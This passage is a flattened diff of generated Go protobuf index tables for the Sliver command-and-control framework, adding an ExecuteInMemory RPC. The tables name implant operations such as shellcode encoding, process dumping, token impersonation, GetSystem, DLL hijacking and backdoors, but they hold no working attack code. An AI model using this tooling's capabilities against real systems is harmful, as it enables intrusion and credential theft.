(*clientpb.MTLSListener)(nil), // 109: clientpb.MTLSListener
|
||||
(*clientpb.WGListener)(nil), // 110: clientpb.WGListener
|
||||
(*clientpb.DNSListener)(nil), // 111: clientpb.DNSListener
|
||||
(*clientpb.HTTPListener)(nil), // 112: clientpb.HTTPListener
|
||||
(*clientpb.StagerListener)(nil), // 113: clientpb.StagerListener
|
||||
(*clientpb.AllLoot)(nil), // 114: clientpb.AllLoot
|
||||
(*clientpb.AllHosts)(nil), // 115: clientpb.AllHosts
|
||||
(*clientpb.Generate)(nil), // 116: clientpb.Generate
|
||||
(*clientpb.ExternalImplantConfig)(nil), // 117: clientpb.ExternalImplantConfig
|
||||
(*clientpb.Builders)(nil), // 118: clientpb.Builders
|
||||
(*clientpb.ImplantBuilds)(nil), // 119: clientpb.ImplantBuilds
|
||||
(*clientpb.Canaries)(nil), // 120: clientpb.Canaries
|
||||
(*clientpb.WGClientConfig)(nil), // 121: clientpb.WGClientConfig
|
||||
(*clientpb.UniqueWGIP)(nil), // 122: clientpb.UniqueWGIP
|
||||
(*clientpb.ImplantProfiles)(nil), // 123: clientpb.ImplantProfiles
|
||||
(*clientpb.MsfStager)(nil), // 124: clientpb.MsfStager
|
||||
(*clientpb.ShellcodeRDI)(nil), // 125: clientpb.ShellcodeRDI
|
||||
(*clientpb.Compiler)(nil), // 126: clientpb.Compiler
|
||||
(*clientpb.ShellcodeEncode)(nil), // 127: clientpb.ShellcodeEncode
|
||||
(*clientpb.ShellcodeEncoderMap)(nil), // 128: clientpb.ShellcodeEncoderMap
|
||||
(*clientpb.Websites)(nil), // 129: clientpb.Websites
|
||||
(*sliverpb.Ps)(nil), // 130: sliverpb.Ps
|
||||
(*sliverpb.Terminate)(nil), // 131: sliverpb.Terminate
|
||||
(*sliverpb.Ifconfig)(nil), // 132: sliverpb.Ifconfig
|
||||
(*sliverpb.Netstat)(nil), // 133: sliverpb.Netstat
|
||||
(*sliverpb.Ls)(nil), // 134: sliverpb.Ls
|
||||
(*sliverpb.Pwd)(nil), // 135: sliverpb.Pwd
|
||||
(*sliverpb.Mv)(nil), // 136: sliverpb.Mv
|
||||
(*sliverpb.Rm)(nil), // 137: sliverpb.Rm
|
||||
(*sliverpb.Mkdir)(nil), // 138: sliverpb.Mkdir
|
||||
(*sliverpb.Download)(nil), // 139: sliverpb.Download
|
||||
(*sliverpb.Upload)(nil), // 140: sliverpb.Upload
|
||||
(*sliverpb.ProcessDump)(nil), // 141: sliverpb.ProcessDump
|
||||
(*sliverpb.RunAs)(nil), // 142: sliverpb.RunAs
|
||||
(*sliverpb.Impersonate)(nil), // 143: sliverpb.Impersonate
|
||||
(*sliverpb.RevToSelf)(nil), // 144: sliverpb.RevToSelf
|
||||
(*sliverpb.GetSystem)(nil), // 145: sliverpb.GetSystem
|
||||
(*sliverpb.Task)(nil), // 146: sliverpb.Task
|
||||
(*sliverpb.ExecuteAssembly)(nil), // 147: sliverpb.ExecuteAssembly
|
||||
(*sliverpb.Migrate)(nil), // 148: sliverpb.Migrate
|
||||
(*sliverpb.Execute)(nil), // 149: sliverpb.Execute
|
||||
(*sliverpb.Sideload)(nil), // 150: sliverpb.Sideload
|
||||
(*sliverpb.SpawnDll)(nil), // 151: sliverpb.SpawnDll
|
||||
(*sliverpb.Screenshot)(nil), // 152: sliverpb.Screenshot
|
||||
(*sliverpb.CurrentTokenOwner)(nil), // 153: sliverpb.CurrentTokenOwner
|
||||
(*sliverpb.PivotListener)(nil), // 154: sliverpb.PivotListener
|
||||
(*sliverpb.PivotListeners)(nil), // 155: sliverpb.PivotListeners
|
||||
(*clientpb.PivotGraph)(nil), // 156: clientpb.PivotGraph
|
||||
(*sliverpb.ServiceInfo)(nil), // 157: sliverpb.ServiceInfo
|
||||
(*sliverpb.MakeToken)(nil), // 158: sliverpb.MakeToken
|
||||
(*sliverpb.EnvInfo)(nil), // 159: sliverpb.EnvInfo
|
||||
(*sliverpb.SetEnv)(nil), // 160: sliverpb.SetEnv
|
||||
(*sliverpb.UnsetEnv)(nil), // 161: sliverpb.UnsetEnv
|
||||
(*sliverpb.Backdoor)(nil), // 162: sliverpb.Backdoor
|
||||
(*sliverpb.RegistryRead)(nil), // 163: sliverpb.RegistryRead
|
||||
(*sliverpb.RegistryWrite)(nil), // 164: sliverpb.RegistryWrite
|
||||
(*sliverpb.RegistryCreateKey)(nil), // 165: sliverpb.RegistryCreateKey
|
||||
(*sliverpb.RegistryDeleteKey)(nil), // 166: sliverpb.RegistryDeleteKey
|
||||
(*sliverpb.RegistrySubKeyList)(nil), // 167: sliverpb.RegistrySubKeyList
|
||||
(*sliverpb.RegistryValuesList)(nil), // 168: sliverpb.RegistryValuesList
|
||||
(*sliverpb.SSHCommand)(nil), // 169: sliverpb.SSHCommand
|
||||
(*clientpb.DllHijack)(nil), // 170: clientpb.DllHijack
|
||||
(*sliverpb.GetPrivs)(nil), // 171: sliverpb.GetPrivs
|
||||
(*sliverpb.RportFwdListener)(nil), // 172: sliverpb.RportFwdListener
|
||||
(*sliverpb.RportFwdListeners)(nil), // 173: sliverpb.RportFwdListeners
|
||||
(*sliverpb.RegisterExtension)(nil), // 174: sliverpb.RegisterExtension
|
||||
(*sliverpb.CallExtension)(nil), // 175: sliverpb.CallExtension
|
||||
(*sliverpb.ListExtensions)(nil), // 176: sliverpb.ListExtensions
|
||||
(*sliverpb.WGPortForward)(nil), // 177: sliverpb.WGPortForward
|
||||
(*sliverpb.WGSocks)(nil), // 178: sliverpb.WGSocks
|
||||
(*sliverpb.WGTCPForwarders)(nil), // 179: sliverpb.WGTCPForwarders
|
||||
(*sliverpb.WGSocksServers)(nil), // 180: sliverpb.WGSocksServers
|
||||
(*sliverpb.Shell)(nil), // 181: sliverpb.Shell
|
||||
(*sliverpb.Portfwd)(nil), // 182: sliverpb.Portfwd
|
||||
}
|
||||
var file_rpcpb_services_proto_depIdxs = []int32{
|
||||
0, // 0: rpcpb.SliverRPC.GetVersion:input_type -> commonpb.Empty
|
||||
@@ -843,150 +848,152 @@ var file_rpcpb_services_proto_depIdxs = []int32{
|
||||
90, // 121: rpcpb.SliverRPC.WGStopSocks:input_type -> sliverpb.WGSocksStopReq
|
||||
91, // 122: rpcpb.SliverRPC.WGListForwarders:input_type -> sliverpb.WGTCPForwardersReq
|
||||
92, // 123: rpcpb.SliverRPC.WGListSocksServers:input_type -> sliverpb.WGSocksServersReq
|
||||
93, // 124: rpcpb.SliverRPC.Shell:input_type -> sliverpb.ShellReq
|
||||
94, // 125: rpcpb.SliverRPC.Portfwd:input_type -> sliverpb.PortfwdReq
|
||||
95, // 126: rpcpb.SliverRPC.CreateSocks:input_type -> sliverpb.Socks
|
||||
95, // 127: rpcpb.SliverRPC.CloseSocks:input_type -> sliverpb.Socks
|
||||
96, // 128: rpcpb.SliverRPC.SocksProxy:input_type -> sliverpb.SocksData
|
||||
97, // 129: rpcpb.SliverRPC.CreateTunnel:input_type -> sliverpb.Tunnel
|
||||
97, // 130: rpcpb.SliverRPC.CloseTunnel:input_type -> sliverpb.Tunnel
|
||||
98, // 131: rpcpb.SliverRPC.TunnelData:input_type -> sliverpb.TunnelData
|
||||
0, // 132: rpcpb.SliverRPC.Events:input_type -> commonpb.Empty
|
||||
99, // 133: rpcpb.SliverRPC.GetVersion:output_type -> clientpb.Version
|
||||
100, // 134: rpcpb.SliverRPC.GetOperators:output_type -> clientpb.Operators
|
||||
0, // 135: rpcpb.SliverRPC.Kill:output_type -> commonpb.Empty
|
||||
101, // 136: rpcpb.SliverRPC.Reconfigure:output_type -> sliverpb.Reconfigure
|
||||
0, // 137: rpcpb.SliverRPC.Rename:output_type -> commonpb.Empty
|
||||
102, // 138: rpcpb.SliverRPC.GetSessions:output_type -> clientpb.Sessions
|
||||
103, // 139: rpcpb.SliverRPC.GetBeacons:output_type -> clientpb.Beacons
|
||||
4, // 140: rpcpb.SliverRPC.GetBeacon:output_type -> clientpb.Beacon
|
||||
0, // 141: rpcpb.SliverRPC.RmBeacon:output_type -> commonpb.Empty
|
||||
104, // 142: rpcpb.SliverRPC.GetBeaconTasks:output_type -> clientpb.BeaconTasks
|
||||
5, // 143: rpcpb.SliverRPC.GetBeaconTaskContent:output_type -> clientpb.BeaconTask
|
||||
5, // 144: rpcpb.SliverRPC.CancelBeaconTask:output_type -> clientpb.BeaconTask
|
||||
105, // 145: rpcpb.SliverRPC.MonitorStart:output_type -> commonpb.Response
|
||||
0, // 146: rpcpb.SliverRPC.MonitorStop:output_type -> commonpb.Empty
|
||||
106, // 147: rpcpb.SliverRPC.GetJobs:output_type -> clientpb.Jobs
|
||||
107, // 148: rpcpb.SliverRPC.KillJob:output_type -> clientpb.KillJob
|
||||
108, // 149: rpcpb.SliverRPC.StartMTLSListener:output_type -> clientpb.MTLSListener
|
||||
109, // 150: rpcpb.SliverRPC.StartWGListener:output_type -> clientpb.WGListener
|
||||
110, // 151: rpcpb.SliverRPC.StartDNSListener:output_type -> clientpb.DNSListener
|
||||
111, // 152: rpcpb.SliverRPC.StartHTTPSListener:output_type -> clientpb.HTTPListener
|
||||
111, // 153: rpcpb.SliverRPC.StartHTTPListener:output_type -> clientpb.HTTPListener
|
||||
112, // 154: rpcpb.SliverRPC.StartTCPStagerListener:output_type -> clientpb.StagerListener
|
||||
112, // 155: rpcpb.SliverRPC.StartHTTPStagerListener:output_type -> clientpb.StagerListener
|
||||
12, // 156: rpcpb.SliverRPC.LootAdd:output_type -> clientpb.Loot
|
||||
0, // 157: rpcpb.SliverRPC.LootRm:output_type -> commonpb.Empty
|
||||
12, // 158: rpcpb.SliverRPC.LootUpdate:output_type -> clientpb.Loot
|
||||
12, // 159: rpcpb.SliverRPC.LootContent:output_type -> clientpb.Loot
|
||||
113, // 160: rpcpb.SliverRPC.LootAll:output_type -> clientpb.AllLoot
|
||||
113, // 161: rpcpb.SliverRPC.LootAllOf:output_type -> clientpb.AllLoot
|
||||
114, // 162: rpcpb.SliverRPC.Hosts:output_type -> clientpb.AllHosts
|
||||
13, // 163: rpcpb.SliverRPC.Host:output_type -> clientpb.Host
|
||||
0, // 164: rpcpb.SliverRPC.HostRm:output_type -> commonpb.Empty
|
||||
0, // 165: rpcpb.SliverRPC.HostIOCRm:output_type -> commonpb.Empty
|
||||
115, // 166: rpcpb.SliverRPC.Generate:output_type -> clientpb.Generate
|
||||
116, // 167: rpcpb.SliverRPC.GenerateExternal:output_type -> clientpb.ExternalImplantConfig
|
||||
0, // 168: rpcpb.SliverRPC.GenerateExternalSaveBuild:output_type -> commonpb.Empty
|
||||
116, // 169: rpcpb.SliverRPC.GenerateExternalGetImplantConfig:output_type -> clientpb.ExternalImplantConfig
|
||||
20, // 170: rpcpb.SliverRPC.BuilderRegister:output_type -> clientpb.Event
|
||||
0, // 171: rpcpb.SliverRPC.BuilderTrigger:output_type -> commonpb.Empty
|
||||
117, // 172: rpcpb.SliverRPC.Builders:output_type -> clientpb.Builders
|
||||
115, // 173: rpcpb.SliverRPC.Regenerate:output_type -> clientpb.Generate
|
||||
118, // 174: rpcpb.SliverRPC.ImplantBuilds:output_type -> clientpb.ImplantBuilds
|
||||
0, // 175: rpcpb.SliverRPC.DeleteImplantBuild:output_type -> commonpb.Empty
|
||||
119, // 176: rpcpb.SliverRPC.Canaries:output_type -> clientpb.Canaries
|
||||
120, // 177: rpcpb.SliverRPC.GenerateWGClientConfig:output_type -> clientpb.WGClientConfig
|
||||
121, // 178: rpcpb.SliverRPC.GenerateUniqueIP:output_type -> clientpb.UniqueWGIP
|
||||
122, // 179: rpcpb.SliverRPC.ImplantProfiles:output_type -> clientpb.ImplantProfiles
|
||||
0, // 180: rpcpb.SliverRPC.DeleteImplantProfile:output_type -> commonpb.Empty
|
||||
23, // 181: rpcpb.SliverRPC.SaveImplantProfile:output_type -> clientpb.ImplantProfile
|
||||
123, // 182: rpcpb.SliverRPC.MsfStage:output_type -> clientpb.MsfStager
|
||||
124, // 183: rpcpb.SliverRPC.ShellcodeRDI:output_type -> clientpb.ShellcodeRDI
|
||||
125, // 184: rpcpb.SliverRPC.GetCompiler:output_type -> clientpb.Compiler
|
||||
126, // 185: rpcpb.SliverRPC.ShellcodeEncoder:output_type -> clientpb.ShellcodeEncode
|
||||
127, // 186: rpcpb.SliverRPC.ShellcodeEncoderMap:output_type -> clientpb.ShellcodeEncoderMap
|
||||
128, // 187: rpcpb.SliverRPC.Websites:output_type -> clientpb.Websites
|
||||
27, // 188: rpcpb.SliverRPC.Website:output_type -> clientpb.Website
|
||||
0, // 189: rpcpb.SliverRPC.WebsiteRemove:output_type -> commonpb.Empty
|
||||
27, // 190: rpcpb.SliverRPC.WebsiteAddContent:output_type -> clientpb.Website
|
||||
27, // 191: rpcpb.SliverRPC.WebsiteUpdateContent:output_type -> clientpb.Website
|
||||
27, // 192: rpcpb.SliverRPC.WebsiteRemoveContent:output_type -> clientpb.Website
|
||||
30, // 193: rpcpb.SliverRPC.Ping:output_type -> sliverpb.Ping
|
||||
129, // 194: rpcpb.SliverRPC.Ps:output_type -> sliverpb.Ps
|
||||
130, // 195: rpcpb.SliverRPC.Terminate:output_type -> sliverpb.Terminate
|
||||
131, // 196: rpcpb.SliverRPC.Ifconfig:output_type -> sliverpb.Ifconfig
|
||||
132, // 197: rpcpb.SliverRPC.Netstat:output_type -> sliverpb.Netstat
|
||||
133, // 198: rpcpb.SliverRPC.Ls:output_type -> sliverpb.Ls
|
||||
134, // 199: rpcpb.SliverRPC.Cd:output_type -> sliverpb.Pwd
|
||||
134, // 200: rpcpb.SliverRPC.Pwd:output_type -> sliverpb.Pwd
|
||||
135, // 201: rpcpb.SliverRPC.Mv:output_type -> sliverpb.Mv
|
||||
136, // 202: rpcpb.SliverRPC.Rm:output_type -> sliverpb.Rm
|
||||
137, // 203: rpcpb.SliverRPC.Mkdir:output_type -> sliverpb.Mkdir
|
||||
138, // 204: rpcpb.SliverRPC.Download:output_type -> sliverpb.Download
|
||||
139, // 205: rpcpb.SliverRPC.Upload:output_type -> sliverpb.Upload
|
||||
140, // 206: rpcpb.SliverRPC.ProcessDump:output_type -> sliverpb.ProcessDump
|
||||
141, // 207: rpcpb.SliverRPC.RunAs:output_type -> sliverpb.RunAs
|
||||
142, // 208: rpcpb.SliverRPC.Impersonate:output_type -> sliverpb.Impersonate
|
||||
143, // 209: rpcpb.SliverRPC.RevToSelf:output_type -> sliverpb.RevToSelf
|
||||
144, // 210: rpcpb.SliverRPC.GetSystem:output_type -> sliverpb.GetSystem
|
||||
145, // 211: rpcpb.SliverRPC.Task:output_type -> sliverpb.Task
|
||||
145, // 212: rpcpb.SliverRPC.Msf:output_type -> sliverpb.Task
|
||||
145, // 213: rpcpb.SliverRPC.MsfRemote:output_type -> sliverpb.Task
|
||||
146, // 214: rpcpb.SliverRPC.ExecuteAssembly:output_type -> sliverpb.ExecuteAssembly
|
||||
147, // 215: rpcpb.SliverRPC.Migrate:output_type -> sliverpb.Migrate
|
||||
148, // 216: rpcpb.SliverRPC.Execute:output_type -> sliverpb.Execute
|
||||
148, // 217: rpcpb.SliverRPC.ExecuteWindows:output_type -> sliverpb.Execute
|
||||
149, // 218: rpcpb.SliverRPC.Sideload:output_type -> sliverpb.Sideload
|
||||
150, // 219: rpcpb.SliverRPC.SpawnDll:output_type -> sliverpb.SpawnDll
|
||||
151, // 220: rpcpb.SliverRPC.Screenshot:output_type -> sliverpb.Screenshot
|
||||
152, // 221: rpcpb.SliverRPC.CurrentTokenOwner:output_type -> sliverpb.CurrentTokenOwner
|
||||
153, // 222: rpcpb.SliverRPC.PivotStartListener:output_type -> sliverpb.PivotListener
|
||||
0, // 223: rpcpb.SliverRPC.PivotStopListener:output_type -> commonpb.Empty
|
||||
154, // 224: rpcpb.SliverRPC.PivotSessionListeners:output_type -> sliverpb.PivotListeners
|
||||
155, // 225: rpcpb.SliverRPC.PivotGraph:output_type -> clientpb.PivotGraph
|
||||
156, // 226: rpcpb.SliverRPC.StartService:output_type -> sliverpb.ServiceInfo
|
||||
156, // 227: rpcpb.SliverRPC.StopService:output_type -> sliverpb.ServiceInfo
|
||||
156, // 228: rpcpb.SliverRPC.RemoveService:output_type -> sliverpb.ServiceInfo
|
||||
157, // 229: rpcpb.SliverRPC.MakeToken:output_type -> sliverpb.MakeToken
|
||||
158, // 230: rpcpb.SliverRPC.GetEnv:output_type -> sliverpb.EnvInfo
|
||||
159, // 231: rpcpb.SliverRPC.SetEnv:output_type -> sliverpb.SetEnv
|
||||
160, // 232: rpcpb.SliverRPC.UnsetEnv:output_type -> sliverpb.UnsetEnv
|
||||
161, // 233: rpcpb.SliverRPC.Backdoor:output_type -> sliverpb.Backdoor
|
||||
162, // 234: rpcpb.SliverRPC.RegistryRead:output_type -> sliverpb.RegistryRead
|
||||
163, // 235: rpcpb.SliverRPC.RegistryWrite:output_type -> sliverpb.RegistryWrite
|
||||
164, // 236: rpcpb.SliverRPC.RegistryCreateKey:output_type -> sliverpb.RegistryCreateKey
|
||||
165, // 237: rpcpb.SliverRPC.RegistryDeleteKey:output_type -> sliverpb.RegistryDeleteKey
|
||||
166, // 238: rpcpb.SliverRPC.RegistryListSubKeys:output_type -> sliverpb.RegistrySubKeyList
|
||||
167, // 239: rpcpb.SliverRPC.RegistryListValues:output_type -> sliverpb.RegistryValuesList
|
||||
168, // 240: rpcpb.SliverRPC.RunSSHCommand:output_type -> sliverpb.SSHCommand
|
||||
169, // 241: rpcpb.SliverRPC.HijackDLL:output_type -> clientpb.DllHijack
|
||||
170, // 242: rpcpb.SliverRPC.GetPrivs:output_type -> sliverpb.GetPrivs
|
||||
171, // 243: rpcpb.SliverRPC.StartRportFwdListener:output_type -> sliverpb.RportFwdListener
|
||||
172, // 244: rpcpb.SliverRPC.GetRportFwdListeners:output_type -> sliverpb.RportFwdListeners
|
||||
171, // 245: rpcpb.SliverRPC.StopRportFwdListener:output_type -> sliverpb.RportFwdListener
|
||||
82, // 246: rpcpb.SliverRPC.OpenSession:output_type -> sliverpb.OpenSession
|
||||
0, // 247: rpcpb.SliverRPC.CloseSession:output_type -> commonpb.Empty
|
||||
173, // 248: rpcpb.SliverRPC.RegisterExtension:output_type -> sliverpb.RegisterExtension
|
||||
174, // 249: rpcpb.SliverRPC.CallExtension:output_type -> sliverpb.CallExtension
|
||||
175, // 250: rpcpb.SliverRPC.ListExtensions:output_type -> sliverpb.ListExtensions
|
||||
176, // 251: rpcpb.SliverRPC.WGStartPortForward:output_type -> sliverpb.WGPortForward
|
||||
176, // 252: rpcpb.SliverRPC.WGStopPortForward:output_type -> sliverpb.WGPortForward
|
||||
177, // 253: rpcpb.SliverRPC.WGStartSocks:output_type -> sliverpb.WGSocks
|
||||
177, // 254: rpcpb.SliverRPC.WGStopSocks:output_type -> sliverpb.WGSocks
|
||||
178, // 255: rpcpb.SliverRPC.WGListForwarders:output_type -> sliverpb.WGTCPForwarders
|
||||
179, // 256: rpcpb.SliverRPC.WGListSocksServers:output_type -> sliverpb.WGSocksServers
|
||||
180, // 257: rpcpb.SliverRPC.Shell:output_type -> sliverpb.Shell
|
||||
181, // 258: rpcpb.SliverRPC.Portfwd:output_type -> sliverpb.Portfwd
|
||||
95, // 259: rpcpb.SliverRPC.CreateSocks:output_type -> sliverpb.Socks
|
||||
0, // 260: rpcpb.SliverRPC.CloseSocks:output_type -> commonpb.Empty
|
||||
96, // 261: rpcpb.SliverRPC.SocksProxy:output_type -> sliverpb.SocksData
|
||||
97, // 262: rpcpb.SliverRPC.CreateTunnel:output_type -> sliverpb.Tunnel
|
||||
0, // 263: rpcpb.SliverRPC.CloseTunnel:output_type -> commonpb.Empty
|
||||
98, // 264: rpcpb.SliverRPC.TunnelData:output_type -> sliverpb.TunnelData
|
||||
20, // 265: rpcpb.SliverRPC.Events:output_type -> clientpb.Event
|
||||
133, // [133:266] is the sub-list for method output_type
|
||||
0, // [0:133] is the sub-list for method input_type
|
||||
93, // 124: rpcpb.SliverRPC.ExecuteInMemory:input_type -> sliverpb.ExecuteInMemoryReq
|
||||
94, // 125: rpcpb.SliverRPC.Shell:input_type -> sliverpb.ShellReq
|
||||
95, // 126: rpcpb.SliverRPC.Portfwd:input_type -> sliverpb.PortfwdReq
|
||||
96, // 127: rpcpb.SliverRPC.CreateSocks:input_type -> sliverpb.Socks
|
||||
96, // 128: rpcpb.SliverRPC.CloseSocks:input_type -> sliverpb.Socks
|
||||
97, // 129: rpcpb.SliverRPC.SocksProxy:input_type -> sliverpb.SocksData
|
||||
98, // 130: rpcpb.SliverRPC.CreateTunnel:input_type -> sliverpb.Tunnel
|
||||
98, // 131: rpcpb.SliverRPC.CloseTunnel:input_type -> sliverpb.Tunnel
|
||||
99, // 132: rpcpb.SliverRPC.TunnelData:input_type -> sliverpb.TunnelData
|
||||
0, // 133: rpcpb.SliverRPC.Events:input_type -> commonpb.Empty
|
||||
100, // 134: rpcpb.SliverRPC.GetVersion:output_type -> clientpb.Version
|
||||
101, // 135: rpcpb.SliverRPC.GetOperators:output_type -> clientpb.Operators
|
||||
0, // 136: rpcpb.SliverRPC.Kill:output_type -> commonpb.Empty
|
||||
102, // 137: rpcpb.SliverRPC.Reconfigure:output_type -> sliverpb.Reconfigure
|
||||
0, // 138: rpcpb.SliverRPC.Rename:output_type -> commonpb.Empty
|
||||
103, // 139: rpcpb.SliverRPC.GetSessions:output_type -> clientpb.Sessions
|
||||
104, // 140: rpcpb.SliverRPC.GetBeacons:output_type -> clientpb.Beacons
|
||||
4, // 141: rpcpb.SliverRPC.GetBeacon:output_type -> clientpb.Beacon
|
||||
0, // 142: rpcpb.SliverRPC.RmBeacon:output_type -> commonpb.Empty
|
||||
105, // 143: rpcpb.SliverRPC.GetBeaconTasks:output_type -> clientpb.BeaconTasks
|
||||
5, // 144: rpcpb.SliverRPC.GetBeaconTaskContent:output_type -> clientpb.BeaconTask
|
||||
5, // 145: rpcpb.SliverRPC.CancelBeaconTask:output_type -> clientpb.BeaconTask
|
||||
106, // 146: rpcpb.SliverRPC.MonitorStart:output_type -> commonpb.Response
|
||||
0, // 147: rpcpb.SliverRPC.MonitorStop:output_type -> commonpb.Empty
|
||||
107, // 148: rpcpb.SliverRPC.GetJobs:output_type -> clientpb.Jobs
|
||||
108, // 149: rpcpb.SliverRPC.KillJob:output_type -> clientpb.KillJob
|
||||
109, // 150: rpcpb.SliverRPC.StartMTLSListener:output_type -> clientpb.MTLSListener
|
||||
110, // 151: rpcpb.SliverRPC.StartWGListener:output_type -> clientpb.WGListener
|
||||
111, // 152: rpcpb.SliverRPC.StartDNSListener:output_type -> clientpb.DNSListener
|
||||
112, // 153: rpcpb.SliverRPC.StartHTTPSListener:output_type -> clientpb.HTTPListener
|
||||
112, // 154: rpcpb.SliverRPC.StartHTTPListener:output_type -> clientpb.HTTPListener
|
||||
113, // 155: rpcpb.SliverRPC.StartTCPStagerListener:output_type -> clientpb.StagerListener
|
||||
113, // 156: rpcpb.SliverRPC.StartHTTPStagerListener:output_type -> clientpb.StagerListener
|
||||
12, // 157: rpcpb.SliverRPC.LootAdd:output_type -> clientpb.Loot
|
||||
0, // 158: rpcpb.SliverRPC.LootRm:output_type -> commonpb.Empty
|
||||
12, // 159: rpcpb.SliverRPC.LootUpdate:output_type -> clientpb.Loot
|
||||
12, // 160: rpcpb.SliverRPC.LootContent:output_type -> clientpb.Loot
|
||||
114, // 161: rpcpb.SliverRPC.LootAll:output_type -> clientpb.AllLoot
|
||||
114, // 162: rpcpb.SliverRPC.LootAllOf:output_type -> clientpb.AllLoot
|
||||
115, // 163: rpcpb.SliverRPC.Hosts:output_type -> clientpb.AllHosts
|
||||
13, // 164: rpcpb.SliverRPC.Host:output_type -> clientpb.Host
|
||||
0, // 165: rpcpb.SliverRPC.HostRm:output_type -> commonpb.Empty
|
||||
0, // 166: rpcpb.SliverRPC.HostIOCRm:output_type -> commonpb.Empty
|
||||
116, // 167: rpcpb.SliverRPC.Generate:output_type -> clientpb.Generate
|
||||
117, // 168: rpcpb.SliverRPC.GenerateExternal:output_type -> clientpb.ExternalImplantConfig
|
||||
0, // 169: rpcpb.SliverRPC.GenerateExternalSaveBuild:output_type -> commonpb.Empty
|
||||
117, // 170: rpcpb.SliverRPC.GenerateExternalGetImplantConfig:output_type -> clientpb.ExternalImplantConfig
|
||||
20, // 171: rpcpb.SliverRPC.BuilderRegister:output_type -> clientpb.Event
|
||||
0, // 172: rpcpb.SliverRPC.BuilderTrigger:output_type -> commonpb.Empty
|
||||
118, // 173: rpcpb.SliverRPC.Builders:output_type -> clientpb.Builders
|
||||
116, // 174: rpcpb.SliverRPC.Regenerate:output_type -> clientpb.Generate
|
||||
119, // 175: rpcpb.SliverRPC.ImplantBuilds:output_type -> clientpb.ImplantBuilds
|
||||
0, // 176: rpcpb.SliverRPC.DeleteImplantBuild:output_type -> commonpb.Empty
|
||||
120, // 177: rpcpb.SliverRPC.Canaries:output_type -> clientpb.Canaries
|
||||
121, // 178: rpcpb.SliverRPC.GenerateWGClientConfig:output_type -> clientpb.WGClientConfig
|
||||
122, // 179: rpcpb.SliverRPC.GenerateUniqueIP:output_type -> clientpb.UniqueWGIP
|
||||
123, // 180: rpcpb.SliverRPC.ImplantProfiles:output_type -> clientpb.ImplantProfiles
|
||||
0, // 181: rpcpb.SliverRPC.DeleteImplantProfile:output_type -> commonpb.Empty
|
||||
23, // 182: rpcpb.SliverRPC.SaveImplantProfile:output_type -> clientpb.ImplantProfile
|
||||
124, // 183: rpcpb.SliverRPC.MsfStage:output_type -> clientpb.MsfStager
|
||||
125, // 184: rpcpb.SliverRPC.ShellcodeRDI:output_type -> clientpb.ShellcodeRDI
|
||||
126, // 185: rpcpb.SliverRPC.GetCompiler:output_type -> clientpb.Compiler
|
||||
127, // 186: rpcpb.SliverRPC.ShellcodeEncoder:output_type -> clientpb.ShellcodeEncode
|
||||
128, // 187: rpcpb.SliverRPC.ShellcodeEncoderMap:output_type -> clientpb.ShellcodeEncoderMap
|
||||
129, // 188: rpcpb.SliverRPC.Websites:output_type -> clientpb.Websites
|
||||
27, // 189: rpcpb.SliverRPC.Website:output_type -> clientpb.Website
|
||||
0, // 190: rpcpb.SliverRPC.WebsiteRemove:output_type -> commonpb.Empty
|
||||
27, // 191: rpcpb.SliverRPC.WebsiteAddContent:output_type -> clientpb.Website
|
||||
27, // 192: rpcpb.SliverRPC.WebsiteUpdateContent:output_type -> clientpb.Website
|
||||
27, // 193: rpcpb.SliverRPC.WebsiteRemoveContent:output_type -> clientpb.Website
|
||||
30, // 194: rpcpb.SliverRPC.Ping:output_type -> sliverpb.Ping
|
||||
130, // 195: rpcpb.SliverRPC.Ps:output_type -> sliverpb.Ps
|
||||
131, // 196: rpcpb.SliverRPC.Terminate:output_type -> sliverpb.Terminate
|
||||
132, // 197: rpcpb.SliverRPC.Ifconfig:output_type -> sliverpb.Ifconfig
|
||||
133, // 198: rpcpb.SliverRPC.Netstat:output_type -> sliverpb.Netstat
|
||||
134, // 199: rpcpb.SliverRPC.Ls:output_type -> sliverpb.Ls
|
||||
135, // 200: rpcpb.SliverRPC.Cd:output_type -> sliverpb.Pwd
|
||||
135, // 201: rpcpb.SliverRPC.Pwd:output_type -> sliverpb.Pwd
|
||||
136, // 202: rpcpb.SliverRPC.Mv:output_type -> sliverpb.Mv
|
||||
137, // 203: rpcpb.SliverRPC.Rm:output_type -> sliverpb.Rm
|
||||
138, // 204: rpcpb.SliverRPC.Mkdir:output_type -> sliverpb.Mkdir
|
||||
139, // 205: rpcpb.SliverRPC.Download:output_type -> sliverpb.Download
|
||||
140, // 206: rpcpb.SliverRPC.Upload:output_type -> sliverpb.Upload
|
||||
141, // 207: rpcpb.SliverRPC.ProcessDump:output_type -> sliverpb.ProcessDump
|
||||
142, // 208: rpcpb.SliverRPC.RunAs:output_type -> sliverpb.RunAs
|
||||
143, // 209: rpcpb.SliverRPC.Impersonate:output_type -> sliverpb.Impersonate
|
||||
144, // 210: rpcpb.SliverRPC.RevToSelf:output_type -> sliverpb.RevToSelf
|
||||
145, // 211: rpcpb.SliverRPC.GetSystem:output_type -> sliverpb.GetSystem
|
||||
146, // 212: rpcpb.SliverRPC.Task:output_type -> sliverpb.Task
|
||||
146, // 213: rpcpb.SliverRPC.Msf:output_type -> sliverpb.Task
|
||||
146, // 214: rpcpb.SliverRPC.MsfRemote:output_type -> sliverpb.Task
|
||||
147, // 215: rpcpb.SliverRPC.ExecuteAssembly:output_type -> sliverpb.ExecuteAssembly
|
||||
148, // 216: rpcpb.SliverRPC.Migrate:output_type -> sliverpb.Migrate
|
||||
149, // 217: rpcpb.SliverRPC.Execute:output_type -> sliverpb.Execute
|
||||
149, // 218: rpcpb.SliverRPC.ExecuteWindows:output_type -> sliverpb.Execute
|
||||
150, // 219: rpcpb.SliverRPC.Sideload:output_type -> sliverpb.Sideload
|
||||
151, // 220: rpcpb.SliverRPC.SpawnDll:output_type -> sliverpb.SpawnDll
|
||||
152, // 221: rpcpb.SliverRPC.Screenshot:output_type -> sliverpb.Screenshot
|
||||
153, // 222: rpcpb.SliverRPC.CurrentTokenOwner:output_type -> sliverpb.CurrentTokenOwner
|
||||
154, // 223: rpcpb.SliverRPC.PivotStartListener:output_type -> sliverpb.PivotListener
|
||||
0, // 224: rpcpb.SliverRPC.PivotStopListener:output_type -> commonpb.Empty
|
||||
155, // 225: rpcpb.SliverRPC.PivotSessionListeners:output_type -> sliverpb.PivotListeners
|
||||
156, // 226: rpcpb.SliverRPC.PivotGraph:output_type -> clientpb.PivotGraph
|
||||
157, // 227: rpcpb.SliverRPC.StartService:output_type -> sliverpb.ServiceInfo
|
||||
157, // 228: rpcpb.SliverRPC.StopService:output_type -> sliverpb.ServiceInfo
|
||||
